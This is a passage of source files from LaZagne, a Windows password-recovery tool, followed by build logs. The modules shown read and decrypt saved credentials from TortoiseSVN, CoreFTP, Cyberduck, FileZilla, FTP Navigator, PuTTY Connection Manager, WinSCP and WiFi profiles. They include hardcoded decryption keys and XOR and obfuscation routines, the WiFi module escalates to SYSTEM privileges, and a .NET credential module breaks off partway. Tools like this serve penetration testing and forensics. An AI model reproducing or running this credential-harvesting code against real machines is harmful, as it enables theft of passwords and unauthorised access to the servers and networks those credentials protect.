6 | from config.moduleInfo import ModuleInfo
7 |
8 | class Tortoise(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-t', 'action': 'store_true', 'dest': 'tortoise', 'help': 'tortoise'}
11 | ModuleInfo.__init__(self, 'tortoise', 'svn', options)
12 |
13 | # main function
14 | def run(self):
15 | # print title
16 | Header().title_info('Tortoise')
17 |
18 | file_path = ''
19 | if 'APPDATA' in os.environ:
20 | file_path = os.environ.get('APPDATA') + '\\Subversion\\auth\\svn.simple'
21 | else:
22 | print_debug('ERROR', 'The APPDATA environment variable is not definded.')
23 | return
24 |
25 | values = {}
26 | pwdFound = []
27 | if os.path.exists(file_path):
28 | for root, dirs, files in os.walk(file_path + os.sep):
29 | for name_file in files:
30 | values = {}
31 | f = open(file_path + os.sep + name_file, 'r')
32 |
33 | url = ''
34 | username = ''
35 | result = ''
36 |
37 | i = 0
38 | # password
39 | for line in f:
40 | if i == -1:
41 | result = line.replace('\n', '')
42 | break
43 | if line.startswith('password'):
44 | i = -3
45 | i+=1
46 |
47 | i = 0
48 | # url
49 | for line in f:
50 | if i == -1:
51 | url = line.replace('\n', '')
52 | break
53 | if line.startswith('svn:realmstring'):
54 | i = -3
55 | i+=1
56 |
57 | i = 0
58 | # username
59 | for line in f:
60 | if i == -1:
61 | username = line.replace('\n', '')
62 | break
63 | if line.startswith('username'):
64 | i = -3
65 | i+=1
66 |
67 | # unccrypt the password
68 | if result:
69 |
70 | try:
71 | password = win32crypt.CryptUnprotectData(base64.b64decode(result), None, None, None, 0)[1]
72 | except:
73 | password = ''
74 |
75 | if password:
76 | values['URL'] = url
77 | values['Username'] = username
78 | values['Password'] = password
79 |
80 | pwdFound.append(values)
81 | # print the results
82 | print_output("Tortoise", pwdFound)
83 | else:
84 | print_debug('INFO', 'Tortoise not installed.')
85 |
86 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/sysadmin/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/coreftp.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | from Crypto.Cipher import AES
3 | import win32con, win32api
4 | from config.write_output import print_output, print_debug
5 | from config.header import Header
6 | from config.moduleInfo import ModuleInfo
7 |
8 | class CoreFTP(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-core', 'action': 'store_true', 'dest': 'coreftp', 'help': 'coreftp'}
11 | ModuleInfo.__init__(self, 'coreftp', 'sysadmin', options)
12 |
13 | def get_secret(self):
14 | return "hdfzpysvpzimorhk"
15 |
16 | def decrypt(self, hex):
17 | encoded = binascii.unhexlify(hex)
18 | secret = self.get_secret()
19 | BLOCK_SIZE = 16
20 | mode = AES.MODE_ECB
21 | cipher=AES.new(secret,mode)
22 | return cipher.decrypt(encoded).split('\x00')[0]
23 |
24 | def get_key_info(self):
25 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
26 | try:
27 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites', 0, accessRead)
28 | except Exception,e:
29 | print_debug('DEBUG', '{0}'.format(e))
30 | return False
31 |
32 | num_profiles = win32api.RegQueryInfoKey(key)[0]
33 | pwdFound = []
34 | for n in range(num_profiles):
35 | name_skey = win32api.RegEnumKey(key, n)
36 |
37 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead)
38 | num = win32api.RegQueryInfoKey(skey)[1]
39 |
40 | values = {}
41 | for nn in range(num):
42 | k = win32api.RegEnumValue(skey, nn)
43 | if k[0] == 'Host':
44 | values['Host'] = k[1]
45 | if k[0] == 'Port':
46 | values['Port'] = k[1]
47 | if k[0] == 'User':
48 | values['User'] = k[1]
49 | pwdFound.append(values)
50 | if k[0] == 'PW':
51 | try:
52 | values['Password'] = self.decrypt(k[1])
53 | except Exception,e:
54 | print_debug('DEBUG', '{0}'.format(e))
55 | values['Password'] = 'N/A'
56 | # print the results
57 | print_output('CoreFTP', pwdFound)
58 |
59 | def run(self):
60 | # print title
61 | Header().title_info('CoreFTP')
62 |
63 | if self.get_key_info() == False:
64 | print_debug('INFO', 'CoreFTP not installed')
65 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/cyberduck.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | import win32crypt
3 | import sys, os, platform, base64
4 | import xml.etree.cElementTree as ET
5 | from config.write_output import print_output, print_debug
6 | from config.constant import *
7 | from config.header import Header
8 | from config.moduleInfo import ModuleInfo
9 |
10 | class Cyberduck(ModuleInfo):
11 | def __init__(self):
12 | options = {'command': '-c', 'action': 'store_true', 'dest': 'cyberduck', 'help': 'cyberduck'}
13 | ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', options)
14 |
15 | # find the user.config file containing passwords
16 | def get_path(self):
17 | if 'APPDATA' in os.environ:
18 | directory = os.environ['APPDATA'] + '\Cyberduck'
19 |
20 | if os.path.exists(directory):
21 | for dir in os.listdir(directory):
22 | if dir.startswith('Cyberduck'):
23 | for d in os.listdir(directory + os.sep + dir):
24 | path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config'
25 | if os.path.exists(path):
26 | return path
27 |
28 | return 'User_profil_not_found'
29 | else:
30 | return 'CYBERDUCK_NOT_EXISTS'
31 | else:
32 | return 'APPDATA_NOT_FOUND'
33 |
34 | # parse the xml file
35 | def parse_xml(self, xml_file):
36 | tree = ET.ElementTree(file=xml_file)
37 |
38 | pwdFound = []
39 | for elem in tree.iter():
40 | values = {}
41 | try:
42 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib['name'].startswith('https'):
43 | values['URL'] = elem.attrib['name']
44 | encrypted_password = base64.b64decode(elem.attrib['value'])
45 | password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1]
46 | values['Password'] = password
47 |
48 | pwdFound.append(values)
49 | except Exception,e:
50 | print_debug('DEBUG', '{0}'.format(e))
51 |
52 | # print the results
53 | print_output("Cyberduck", pwdFound)
54 |
55 | # main function
56 | def run(self):
57 | # print title
58 | Header().title_info('Cyberduck')
59 |
60 | path = self.get_path()
61 | if path == 'CYBERDUCK_NOT_EXISTS':
62 | print_debug('INFO', 'Cyberduck not installed.')
63 | elif path == 'User_profil_not_found':
64 | print_debug('INFO', 'User profil has not been found.')
65 | elif path == 'APPDATA_NOT_FOUND':
66 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
67 | else:
68 | self.parse_xml(path)
69 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/filezilla.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import os, base64
3 | from config.constant import *
4 | from config.write_output import print_output, print_debug
5 | from config.header import Header
6 | from config.moduleInfo import ModuleInfo
7 |
8 | class Filezilla(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'}
11 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin', options)
12 |
13 | def run(self):
14 | # print title
15 | Header().title_info('Filezilla')
16 |
17 | if 'APPDATA' in os.environ:
18 | directory = os.environ['APPDATA'] + '\FileZilla'
19 | else:
20 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
21 | return
22 |
23 | interesting_xml_file = []
24 | info_xml_file = []
25 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')):
26 | interesting_xml_file.append('sitemanager.xml')
27 | info_xml_file.append('Stores all saved sites server info including password in plaintext')
28 |
29 | if os.path.exists(os.path.join(directory, 'recentservers.xml')):
30 | interesting_xml_file.append('recentservers.xml')
31 | info_xml_file.append('Stores all recent server info including password in plaintext')
32 |
33 | if os.path.exists(os.path.join(directory, 'filezilla.xml')):
34 | interesting_xml_file.append('filezilla.xml')
35 | info_xml_file.append('Stores most recent server info including password in plaintext')
36 |
37 | if interesting_xml_file != []:
38 | print_debug('INFO', 'No login and password means anonymous connection')
39 | pwdFound = []
40 |
41 | for i in range(len(interesting_xml_file)):
42 | print_debug('INFO', '%s: %s' % (interesting_xml_file[i], info_xml_file[i]))
43 |
44 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i])
45 |
46 | tree = ET.ElementTree(file=xml_file)
47 | root = tree.getroot()
48 |
49 | servers = root.getchildren()
50 | for ss in servers:
51 | server = ss.getchildren()
52 |
53 | jump_line = 0
54 | for s in server:
55 | s1 = s.getchildren()
56 | values = {}
57 | for s11 in s1:
58 | if s11.tag == 'Host':
59 | values[s11.tag] = s11.text
60 |
61 | if s11.tag == 'Port':
62 | values[s11.tag] = s11.text
63 |
64 | if s11.tag == 'User':
65 | values['Login'] = s11.text
66 |
67 | if s11.tag == 'Pass':
68 | try:
69 | # if base64 encoding
70 | if 'encoding' in s11.attrib:
71 | if s11.attrib['encoding'] == 'base64':
72 | values['Password'] = base64.b64decode(s11.text)
73 | else:
74 | values['Password'] = s11.text
75 | except:
76 | values['Password'] = s11.text
77 |
78 | # password found
79 | if len(values) != 0:
80 | pwdFound.append(values)
81 | # print the results
82 | print_output("Filezilla", pwdFound)
83 |
84 | else:
85 | print_debug('INFO', 'Filezilla not installed.')
86 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/ftpnavigator.py:
--------------------------------------------------------------------------------
1 | import struct, os
2 | from config.write_output import print_output, print_debug
3 | from config.header import Header
4 | from config.moduleInfo import ModuleInfo
5 |
6 | class FtpNavigator(ModuleInfo):
7 | def __init__(self):
8 | options = {'command': '-ftp', 'action': 'store_true', 'dest': 'ftpnavigator', 'help': 'FTP Navigator'}
9 | ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', options)
10 |
11 | def decode(self, encode_password):
12 | password = ''
13 | for p in encode_password:
14 | password += chr(struct.unpack('B', p)[0] ^ 0x19)
15 | return password
16 |
17 | def read_file(self, filepath):
18 | f = open(filepath, 'r')
19 | pwdFound = []
20 | for ff in f.readlines():
21 | values = {}
22 | info = ff.split(';')
23 | for i in info:
24 | i = i.split('=')
25 | if i[0] == 'Name':
26 | values['Name'] = i[1]
27 | if i[0] == 'Server':
28 | values['Server'] = i[1]
29 | if i[0] == 'Port':
30 | values['Port'] = i[1]
31 | if i[0] == 'User':
32 | values['User'] = i[1]
33 | if i[0] == "Password":
34 | if i[1] != '1' and i[1] != '0':
35 | values['Password'] = self.decode(i[1])
36 |
37 | # used to save the password if it is an anonymous authentication
38 | if values['User'] == 'anonymous' and 'Password' not in values.keys():
39 | values['Password'] = 'anonymous'
40 |
41 | pwdFound.append(values)
42 | # print the results
43 | print_output('FTP Navigator', pwdFound)
44 |
45 | def run(self):
46 | # print title
47 | Header().title_info('FTP Navigator')
48 |
49 | if 'HOMEDRIVE' in os.environ:
50 | path = os.environ.get('HOMEDRIVE') + os.sep + 'FTP Navigator\\Ftplist.txt'
51 |
52 | if os.path.exists(path):
53 | self.read_file(path)
54 | else:
55 | print_debug('INFO', 'Paht %s does not exist.\nFTP Navigator not installed or not found.' % path)
56 |
57 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/puttycm.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import win32con, win32api
3 | import os
4 | from config.constant import *
5 | from config.write_output import print_output, print_debug
6 | from config.header import Header
7 | from config.moduleInfo import ModuleInfo
8 |
9 | class Puttycm(ModuleInfo):
10 | def __init__(self):
11 | options = {'command': '-p', 'action': 'store_true', 'dest': 'puttycm', 'help': 'puttycm'}
12 | ModuleInfo.__init__(self, 'puttycm', 'sysadmin', options)
13 |
14 | def run(self):
15 | # print title
16 | Header().title_info('Puttycm')
17 |
18 | try:
19 | database_path = self.get_default_database()
20 | except Exception,e:
21 | print_debug('DEBUG', '{0}'.format(e))
22 | print_debug('INFO', 'Puttycm not installed')
23 | return
24 |
25 | if os.path.exists(database_path):
26 | self.parse_xml(database_path)
27 | else:
28 | print_debug('WARNING', 'Default database does not exist: %s' % database_path)
29 |
30 |
31 | def get_default_database(self):
32 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
33 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager', 0, accessRead)
34 | thisName = str(win32api.RegQueryValueEx(key, 'DefaultDatabase')[0])
35 | if thisName :
36 | return thisName
37 | else:
38 | return ' '
39 |
40 | def parse_xml(self, database_path):
41 | xml_file = os.path.expanduser(database_path)
42 | tree = ET.ElementTree(file=xml_file)
43 | root = tree.getroot()
44 |
45 | pwdFound = []
46 | for connection in root.iter('connection'):
47 | children = connection.getchildren()
48 | values = {}
49 | for child in children:
50 | for c in child:
51 | find = False
52 |
53 | if str(c.tag) == 'name':
54 | find = True
55 | if str(c.tag) == 'protocol':
56 | find = True
57 | elif str(c.tag) == 'host':
58 | find = True
59 | elif str(c.tag) == 'port':
60 | find = True
61 | elif str(c.tag) == 'description':
62 | find = True
63 | elif str(c.tag) == 'login':
64 | find = True
65 | elif str(c.tag) == 'password':
66 | find = True
67 |
68 | if find:
69 | values[str(c.tag)] = str(c.text)
70 |
71 | # password found
72 | if len(values) != 0:
73 | pwdFound.append(values)
74 |
75 | # print the results
76 | print_output("Puttycm", pwdFound)
77 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/sysadmin/winscp.py:
--------------------------------------------------------------------------------
1 | import win32con, win32api
2 | from config.write_output import print_output, print_debug
3 | from config.constant import *
4 | from config.header import Header
5 | from config.moduleInfo import ModuleInfo
6 |
7 | class WinSCP(ModuleInfo):
8 | def __init__(self):
9 | self.hash = ''
10 | self.username = ''
11 | self.hostname = ''
12 |
13 | options = {'command': '-scp', 'action': 'store_true', 'dest': 'winscp', 'help': 'winscp'}
14 | ModuleInfo.__init__(self, 'winscp', 'sysadmin', options)
15 |
16 | # ------------------------------ Getters and Setters ------------------------------
17 | def get_hash(self):
18 | return self.hash
19 |
20 | def set_hash(self, _hash):
21 | self.hash = _hash
22 |
23 | def get_username(self):
24 | return self.username
25 |
26 | def set_username(self, _username):
27 | self.username = _username
28 |
29 | def get_hostname(self):
30 | return self.hostname
31 |
32 | def set_hostname(self, _hostname):
33 | self.hostname = _hostname
34 |
35 | def decrypt_char(self):
36 | hash = self.get_hash()
37 |
38 | hex_flag = 0xA3
39 | charset = '0123456789ABCDEF'
40 |
41 | if len(hash) > 0:
42 | unpack1 = charset.find(hash[0])
43 | unpack1 = unpack1 << 4
44 |
45 | unpack2 = charset.find(hash[1])
46 | result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff
47 |
48 | # store the new hash
49 | self.set_hash(hash[2:])
50 |
51 | return result
52 |
53 | def check_winscp_installed(self):
54 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
55 | try:
56 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead)
57 | return True
58 | except Exception,e:
59 | print_debug('DEBUG', '{0}'.format(e))
60 | return False
61 |
62 | def check_masterPassword(self):
63 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
64 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead)
65 | thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0])
66 |
67 | if thisName == '0':
68 | return False
69 | else:
70 | return True
71 |
72 | def get_logins_info(self):
73 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
74 | try:
75 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0, accessRead)
76 | except Exception,e:
77 | print_debug('DEBUG', '{0}'.format(e))
78 | return False
79 |
80 | num_profiles = win32api.RegQueryInfoKey(key)[0]
81 |
82 | pwdFound = []
83 | for n in range(num_profiles):
84 | name_skey = win32api.RegEnumKey(key, n)
85 |
86 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead)
87 | num = win32api.RegQueryInfoKey(skey)[1]
88 |
89 | port = ''
90 | values = {}
91 |
92 | for nn in range(num):
93 | k = win32api.RegEnumValue(skey, nn)
94 |
95 | if k[0] == 'HostName':
96 | self.set_hostname(k[1])
97 |
98 | if k[0] == 'UserName':
99 | self.set_username(k[1])
100 |
101 | if k[0] == 'Password':
102 | self.set_hash(k[1])
103 |
104 | if k[0] == 'PortNumber':
105 | port = str(k[1])
106 |
107 | if num != 0:
108 | if port == '':
109 | port = '22'
110 | try:
111 | password = self.decrypt_password()
112 | values['Password'] = password
113 | except Exception,e:
114 | print_debug('DEBUG', '{0}'.format(e))
115 |
116 | values['Hostname'] = self.get_hostname()
117 | values['Port'] = port
118 | values['Username'] = self.get_username()
119 |
120 | pwdFound.append(values)
121 |
122 | # print the results
123 | print_output("WinSCP", pwdFound)
124 |
125 | def decrypt_password(self):
126 | hex_flag = 0xFF
127 |
128 | flag = self.decrypt_char()
129 | if flag == hex_flag:
130 | self.decrypt_char()
131 | length = self.decrypt_char()
132 | else:
133 | length = flag
134 |
135 | ldel = (self.decrypt_char())*2
136 |
137 | hash = self.get_hash()
138 | self.set_hash(hash[ldel: len(hash)])
139 |
140 | result = ''
141 | for ss in range(length):
142 |
143 | try:
144 | result += chr(int(self.decrypt_char()))
145 | except Exception,e:
146 | print_debug('DEBUG', '{0}'.format(e))
147 | pass
148 |
149 | if flag == hex_flag:
150 | key = self.get_username() + self.get_hostname()
151 | result = result[len(key): len(result)]
152 |
153 | return result
154 |
155 | # --------- Main function ---------
156 | def run(self):
157 | # print title
158 | Header().title_info('WinSCP')
159 |
160 | if self.check_winscp_installed():
161 | if not self.check_masterPassword():
162 | r = self.get_logins_info()
163 | if r == False:
164 | print_debug('INFO', 'WinSCP not installed.')
165 | else:
166 | print_debug('WARNING', 'A master password is used. Passwords cannot been retrieved')
167 | else:
168 | print_debug('INFO', 'WinSCP not installed.')
169 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/wifi/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/wifi/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/wifi/wifi.py:
--------------------------------------------------------------------------------
1 | from config.write_output import print_output, print_debug
2 | from config.header import Header
3 | from config.get_system_priv import get_system_priv
4 | from ctypes import *
5 | import time, tempfile
6 | from ConfigParser import RawConfigParser
7 | import os
8 | from config.moduleInfo import ModuleInfo
9 |
10 | class Wifi(ModuleInfo):
11 | def __init__(self):
12 | options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Vista and higher - Need System Privileges'}
13 | ModuleInfo.__init__(self, 'Wifi', 'wifi', options)
14 |
15 | def run(self):
16 |
17 | # print title
18 | Header().title_info('Wifi')
19 |
20 | if not windll.Shell32.IsUserAnAdmin():
21 | print_debug('WARNING', '[!] This script should be run as admin!')
22 | return
23 | else:
24 |
25 | if 'ALLUSERSPROFILE' in os.environ:
26 | directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces'
27 | else:
28 | print_debug('ERROR', 'Environment variable (ALLUSERSPROFILE) has not been found.')
29 | return
30 |
31 | if not os.path.exists(directory):
32 | print_debug('INFO', 'No credentials found.\nFile containing passwords not found:\n%s' % directory)
33 | return
34 |
35 | try:
36 | print_debug('INFO', '[!] Trying to elevate our privilege')
37 | get_system_priv()
38 | print_debug('INFO', '[!] Elevation ok - Passwords decryption is in progress')
39 | except Exception,e:
40 | print_debug('DEBUG', '{0}'.format(e))
41 | print_debug('ERROR', '[!] An error occurs during the privilege elevation process. Wifi passwords have not been decrypted')
42 |
43 | time.sleep(5)
44 |
45 | # read temp file containing all passwords found
46 | pwdFound = []
47 | filepath = tempfile.gettempdir() + os.sep + 'TEMP123A.txt'
48 |
49 | # the file has not been created yet
50 | if not os.path.exists(filepath):
51 | time.sleep(5)
52 |
53 | if os.path.exists(filepath):
54 | cp = RawConfigParser()
55 | cp.read(filepath)
56 | for section in cp.sections():
57 | values = {}
58 | for c in cp.items(section):
59 | values[str(c[0])] = str(c[1])
60 | pwdFound.append(values)
61 |
62 | # remove file on the temporary directory
63 | os.remove(filepath)
64 |
65 | # print the results
66 | print_output("Wifi", pwdFound)
67 | else:
68 | print_debug('INFO', 'No passwords found')
69 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/wifi/wifipass.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | import os, win32crypt
3 | import binascii
4 | import tempfile, socket
5 | from ctypes import *
6 | from config.moduleInfo import ModuleInfo
7 | import argparse
8 |
9 | class WifiPass(ModuleInfo):
10 | def __init__(self):
11 | options = {'command': '--HiddenWifiArgs', 'action': 'store_true', 'dest': 'wifipass', 'help': argparse.SUPPRESS}
12 | ModuleInfo.__init__(self, 'wifipass', 'wifi', options)
13 |
14 | # used when launched with a system account
15 | def run(self):
16 | # need to be admin privilege, to find passwords
17 | if not windll.Shell32.IsUserAnAdmin():
18 | return
19 | else:
20 | directory = ''
21 | if 'ALLUSERSPROFILE' in os.environ:
22 | directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces'
23 | # for windows Vista or higher
24 | if os.path.exists(directory):
25 | passwordFound = False
26 | rep = []
27 | pwdFound = []
28 | for repository in os.listdir(directory):
29 | if os.path.isdir(directory + os.sep + repository):
30 |
31 | rep = directory + os.sep + repository
32 | for file in os.listdir(rep):
33 | values = {}
34 | if os.path.isfile(rep + os.sep + file):
35 | f = rep + os.sep + file
36 | tree = ET.ElementTree(file=f)
37 | root = tree.getroot()
38 | xmlns = root.tag.split("}")[0] + '}'
39 |
40 | iterate = False
41 | for elem in tree.iter():
42 | if elem.tag.endswith('SSID'):
43 | for w in elem:
44 | if w.tag == xmlns + 'name':
45 | values['SSID'] = w.text
46 |
47 | if elem.tag.endswith('authentication'):
48 | values['Authentication'] = elem.text
49 |
50 | if elem.tag.endswith('protected'):
51 | values['Protected'] = elem.text
52 |
53 | if elem.tag.endswith('keyMaterial'):
54 | key = elem.text
55 | try:
56 | binary_string = binascii.unhexlify(key)
57 | password = win32crypt.CryptUnprotectData(binary_string, None, None, None, 0)[1]
58 | values['Password'] = password
59 | passwordFound = True
60 | except:
61 | values['INFO'] = '[!] Password not found.'
62 |
63 | # store credentials
64 | if len(values) != 0:
65 | pwdFound.append(values)
66 |
67 | # If at least one password has been found, we create the file in temp directory
68 | if passwordFound:
69 | try:
70 | filepath = tempfile.gettempdir()
71 | tmp = ''
72 | cpt = 1
73 | for pwd in pwdFound:
74 | tmp += '[wifi%s]\r\n' % str(cpt)
75 | cpt += 1
76 | for p in pwd.keys():
77 | tmp = str(tmp) + str(p) + '=' + str(pwd[p]) + '\r\n'
78 | tmp = str(tmp) + '\r\n'
79 | open(filepath + os.sep + 'TEMP123A.txt','w').write(tmp)
80 | except:
81 | pass
82 |
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/windows/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/windows/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/windows/dot_net.py:
--------------------------------------------------------------------------------
1 | import struct
2 | from ctypes import *
3 | from ctypes.wintypes import DWORD
4 | import win32cred
5 | from config.constant import *
6 | from config.write_output import print_output, print_debug
7 | from config.header import Header
8 | from config.moduleInfo import ModuleInfo
9 |
10 | memcpy = cdll.msvcrt.memcpy
11 | LocalFree = windll.kernel32.LocalFree
12 | CryptUnprotectData = windll.crypt32.CryptUnprotectData
13 | CRYPTPROTECT_UI_FORBIDDEN = 0x01
14 |
15 | class DATA_BLOB(Structure):
16 | _fields_ = [
17 | ('cbData', DWORD),
18 | ('pbData', POINTER(c_char))
19 | ]
20 |
21 | class Dot_net(ModuleInfo):
22 | def __init__(self):
23 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dotnet', 'help': 'domain visible network (.Net Passport) Passwords'}
24 | ModuleInfo.__init__(self, 'Dot Net', 'windows', options)
25 |
26 | def getData(self, blobOut):
27 | cbData = int(blobOut.cbData)
28 | pbData = blobOut.pbData
29 | buffer = c_buffer(cbData)
30 | memcpy(buffer, pbData, cbData)
31 | LocalFree(pbData);
32 | return buffer.raw
33 |
34 | def get_creds(self):
35 | try:
36 | creds = win32cred.CredEnumerate(None, 0)
37 | return creds
38 | except Exception,e:
39 | print_debug('DEBUG', '{0}'.format(e))
40 | return None
41 |
42 | def get_entropy(self):
43 | entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\0'
44 | s = ''
45 | for c in entropy:
46 | s += struct.pack('
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/historic.lastbuildstate:
--------------------------------------------------------------------------------
1 | #v4.0:v100
2 | Release|Win32|C:\Users\John\Desktop\Lazagne_test\historic\|
3 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/historic.log:
--------------------------------------------------------------------------------
1 | La génération a démarré 30/01/2015 14:10:22.
2 | Projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" sur le nœud 2 (build cible(s)).
3 | InitializeBuildStatus:
4 | Création de "Release\historic.unsuccessfulbuild", car "AlwaysCreate" a été spécifié.
5 | ClCompile:
6 | Toutes les sorties sont à jour.
7 | C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /Zi /nologo /W3 /WX- /O2 /Oi /Oy- /GL /D WIN32 /D NDEBUG /D _WINDOWS /D _USRDLL /D HISTORIC_EXPORTS /D _WINDLL /D _UNICODE /D UNICODE /Gm- /EHsc /MD /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Release\\" /Fd"Release\vc100.pdb" /Gd /TP /analyze- /errorReport:prompt dllmain.cpp
8 | dllmain.cpp
9 | Toutes les sorties sont à jour.
10 | Link:
11 | C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /ManifestFile:"Release\historic.dll.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.pdb" /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib" /MACHINE:X86 /DLL Release\dllmain.obj
12 | Release\history.obj
13 | Release\stdafx.obj
14 | Création de la bibliothèque C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib et de l'objet C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp
15 | Génération de code en cours
16 | Fin de la génération du code
17 | historic.vcxproj -> C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll
18 | Manifest:
19 | C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin\mt.exe /nologo /verbose /outputresource:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll;#2" /manifest Release\historic.dll.intermediate.manifest
20 | FinalizeBuildStatus:
21 | Suppression du fichier "Release\historic.unsuccessfulbuild".
22 | Mise à jour de l'horodatage "Release\historic.lastbuildstate".
23 | Génération du projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" terminée (build cible(s)).
24 |
25 | La génération a réussi.
26 |
27 | Temps écoulé 00:00:03.33
28 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/historic.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/historic.obj
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/historic.pch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/historic.pch
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/history.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/history.obj
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog
